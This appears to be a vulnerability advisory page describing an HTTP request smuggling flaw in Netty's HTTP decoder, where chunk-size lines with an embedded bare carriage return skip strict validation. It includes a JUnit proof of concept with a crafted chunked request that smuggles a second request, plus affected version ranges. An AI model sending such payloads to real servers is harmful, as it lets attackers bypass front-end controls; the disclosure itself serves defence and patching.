REDHAT-BUG-2536954: Medium severity Netty netty-codec-http vulnerability
HTTP Request Smuggling due to control characters in the chunk-size line
A public GitHub Security Advisory (GHSA-rq4j-fc47-9698) describes the following issue:
Summary Netty skips strict chunk size line validation when the line has no chunk extension (;), so a chunk size line containing an embedded bare CR (e.g. 0\rX) is accepted instead of rejected, enabling HTTP request smuggling.
Details io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions only runs the strict validator HttpChunkLineValidatingByteProcessor when a ; is present:
java int extensionsStart = line.bytesBefore((byte) ';'); if (extensionsStart == -1) { return; }
According to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A
chunk-size = 1HEXDIG
PoC
java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "0\rX\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.USASCII)));
// Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release();
// Request 2 (smuggled) request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertEquals("/smuggled", request.uri()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); }
Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Affected: - maven:io.netty:netty-codec-http affected >=4.2.0.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-http affected <=4.1.137.Final; fixed unknown
Fixed versions: see advisory
Advisory: https://github.com/netty/netty/security/advisories/GHSA-rq4j-fc47-9698
Affected Software
Event History
Frequently Asked Questions
What does an attacker need to send to trigger the parsing flaw?
The request must use Transfer-Encoding: chunked and include a chunk-size line with an embedded bare carriage return, such as "0\rX". Netty accepts this malformed line when it has no chunk extension delimiter (;).
Which component is affected by the described behavior?
The issue is in Netty's HTTP decoder, specifically the chunk-size-line validation path in io.netty.handler.codec.http.HttpObjectDecoder. The strict validator is skipped when the chunk-size line contains no semicolon.